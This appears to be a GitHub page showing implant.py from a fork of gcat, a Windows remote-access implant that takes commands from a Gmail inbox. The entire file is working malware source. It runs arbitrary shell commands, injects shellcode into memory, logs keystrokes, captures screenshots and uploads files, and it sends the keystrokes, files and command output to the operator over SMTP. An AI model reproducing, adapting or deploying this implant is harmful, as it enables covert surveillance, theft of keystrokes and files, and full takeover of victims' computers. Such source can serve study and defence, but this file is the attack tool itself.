forked from byt3bl33d3r/gcat
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathimplant.py
359 lines (275 loc) · 11.4 KB
/
implant.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
import subprocess
import sys
import os
import base64
import binascii
import threading
import time
import random
import string
import imaplib
import email
import uuid
import platform
import ctypes
import ast
import win32process
import win32api
import win32con
import win32gui
#import logging
import pythoncom
import pyHook
import win32security
from PIL import ImageGrab
#from traceback import print_exc, format_exc
from ntsecuritycon import *
from win32com.shell import shell
from smtplib import SMTP
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email import Encoders
#######################################
gmail_user = '[email protected]'
gmail_pwd = 'prettyflypassword'
server = "smtp.gmail.com"
server_port = 587
#######################################
#Prints error messages and info to stdout
#verbose = True
#log_level = 20
#if verbose is True:
# log_level = 10
#logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
#generates a unique uuid
uniqueid = str(uuid.uuid5(uuid.NAMESPACE_OID, os.environ['USERNAME']))
def genRandomString(slen=10):
return ''.join(random.sample(string.ascii_letters + string.digits, slen))
def isAdmin():
return shell.IsUserAnAdmin()
def getSysinfo():
return '{}-{}'.format(platform.platform(), os.environ['PROCESSOR_ARCHITECTURE'])
def detectForgroundWindow():
return win32gui.GetWindowText(win32gui.GetForegroundWindow())
class msgparser:
def __init__(self, msg_data):
self.attachment = None
self.getPayloads(msg_data)
self.getSubjectHeader(msg_data)
self.getDateHeader(msg_data)
def getPayloads(self, msg_data):
for payload in email.message_from_string(msg_data[1][0][1]).get_payload():
if payload.get_content_maintype() == 'text':
self.text = payload.get_payload()
self.dict = ast.literal_eval(payload.get_payload())
elif payload.get_content_maintype() == 'application':
self.attachment = payload.get_payload()
def getSubjectHeader(self, msg_data):
self.subject = email.message_from_string(msg_data[1][0][1])['Subject']
def getDateHeader(self, msg_data):
self.date = email.message_from_string(msg_data[1][0][1])['Date']
class KeyLogger(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.jobid = None
self.key_buffer = ''
self.daemon = True
def run(self):
#logging.debug("[keylogger] started with jobid: {}".format(self.jobid))
t1 = threading.Thread(name='sendEmail', target=sendEmail, args=({'CMD': 'keylogger', 'RES': 'Keylogger started'}, self.jobid,))
t2 = threading.Thread(name='watchKeys', target=self.watchKeys)
for t in [t1, t2]:
t.setDaemon(True)
t.start()
while True:
hm = pyHook.HookManager()
hm.KeyDown = self.onKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
def stop(self):
#logging.debug("[keylogger] stopped with jobid: {}".format(self.jobid))
t = threading.Thread(name='sendEmail', target=sendEmail, args=({'CMD': 'keylogger', 'RES': 'Keylogger stopped'}, self.jobid,))
t.setDaemon(True)
t.start()
def watchKeys(self):
while True:
if len(self.key_buffer) >= 100:
keys = self.key_buffer
t = threading.Thread(name='sendEmail', target=sendEmail, args=({'CMD': 'keylogger', 'RES': r'{}'.format(keys)}, self.jobid,))
t.setDaemon(True)
t.start()
self.key_buffer = ''
time.sleep(0.5)
def onKeyboardEvent(self, event):
if event.Ascii != 0 or 8:
self.key_buffer += chr(event.Ascii)
if event.Ascii == 13:
self.key_buffer += chr(event.Ascii)
class download(threading.Thread):
def __init__(self, jobid, filepath):
threading.Thread.__init__(self)
self.jobid = jobid
self.filepath = filepath
self.daemon = True
self.start()
def run(self):
try:
if os.path.exists(self.filepath) is True:
sendEmail({'CMD': 'download', 'RES': 'Success'}, self.jobid, [self.filepath])
else:
sendEmail({'CMD': 'download', 'RES': 'Path to file invalid'}, self.jobid)
except Exception as e:
sendEmail({'CMD': 'download', 'RES': 'Failed: {}'.format(e)}, self.jobid)
class lockScreen(threading.Thread):
def __init__(self, jobid):
threading.Thread.__init__(self)
self.jobid = jobid
self.daemon = True
self.start()
def run(self):
try:
ctypes.windll.user32.LockWorkStation()
sendEmail({'CMD': 'lockscreen', 'RES': 'Success'}, jobid=self.jobid)
except Exception as e:
#if verbose == True: print print_exc()
pass
class screenshot(threading.Thread):
def __init__(self, jobid):
threading.Thread.__init__(self)
self.jobid = jobid
self.daemon = True
self.start()
def run(self):
try:
img=ImageGrab.grab()
saveas= os.path.join(os.getenv('TEMP'), genRandomString() + '.png')
img.save(saveas)
sendEmail({'CMD': 'screenshot', 'RES': 'Screenshot taken'}, jobid=self.jobid, attachment=[saveas])
os.remove(saveas)
except Exception as e:
#if verbose == True: print_exc()
pass
class execShellcode(threading.Thread):
def __init__(self, shellc, jobid):
threading.Thread.__init__(self)
self.shellc = shellc
self.jobid = jobid
self.daemon = True
self.start()
def run(self):
try:
shellcode = bytearray(self.shellc)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
except Exception as e:
#if verbose == True: print_exc()
pass
class execCmd(threading.Thread):
def __init__(self, command, jobid):
threading.Thread.__init__(self)
self.command = command
self.jobid = jobid
self.daemon = True
self.start()
def run(self):
try:
proc = subprocess.Popen(self.command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read()
stdout_value += proc.stderr.read()
sendEmail({'CMD': self.command, 'RES': stdout_value}, jobid=self.jobid)
except Exception as e:
#if verbose == True: print_exc()
pass
def sendEmail(text, jobid='', attachment=[], checkin=False):
sub_header = uniqueid
if jobid:
sub_header = 'imp:{}:{}'.format(uniqueid, jobid)
elif checkin:
sub_header = 'checkin:{}'.format(uniqueid)
msg = MIMEMultipart()
msg['From'] = sub_header
msg['To'] = gmail_user
msg['Subject'] = sub_header
message_content = {'FGWINDOW': detectForgroundWindow(), 'SYS': getSysinfo(), 'ADMIN': isAdmin(), 'MSG': text}
msg.attach(MIMEText(str(message_content)))
for attach in attachment:
if os.path.exists(attach) == True:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach)))
msg.attach(part)
while True:
try:
mailServer = SMTP()
mailServer.connect(server, server_port)
mailServer.starttls()
mailServer.login(gmail_user,gmail_pwd)
mailServer.sendmail(gmail_user, gmail_user, msg.as_string())
mailServer.quit()
break
except Exception as e:
#if verbose == True: print_exc()
time.sleep(10)
def checkJobs():
#Here we check the inbox for queued jobs, parse them and start a thread
keylogger = KeyLogger()
while True:
try:
c = imaplib.IMAP4_SSL(server)
c.login(gmail_user, gmail_pwd)
c.select("INBOX")
typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 'gcat:{}')".format(uniqueid))
for msg_id in id_list[0].split():
#logging.debug("[checkJobs] parsing message with uid: {}".format(msg_id))
msg_data = c.uid('fetch', msg_id, '(RFC822)')
msg = msgparser(msg_data)
jobid = msg.subject.split(':')[2]
if msg.dict:
cmd = msg.dict['CMD'].lower()
arg = msg.dict['ARG']
#logging.debug("[checkJobs] CMD: {} JOBID: {}".format(cmd, jobid))
if cmd == 'execshellcode':
execShellcode(arg, jobid)
elif cmd == 'download':
download(jobid, arg)
elif cmd == 'screenshot':
screenshot(jobid)
elif cmd == 'cmd':
execCmd(arg, jobid)
elif cmd == 'lockscreen':
lockScreen(jobid)
elif cmd == 'startkeylogger':
if not keylogger.isAlive():
keylogger.jobid = jobid
keylogger.start()
elif cmd == 'stopkeylogger':
if keylogger.isAlive():
keylogger.stop()
elif cmd == 'forcecheckin':
sendEmail("Host checking in as requested", checkin=True)
else:
raise NotImplementedError
c.logout()
time.sleep(10)
except Exception as e:
#logging.debug(format_exc())
time.sleep(10)
if __name__ == '__main__':
sendEmail("0wn3d!", checkin=True)
try:
checkJobs()
except KeyboardInterrupt:
pass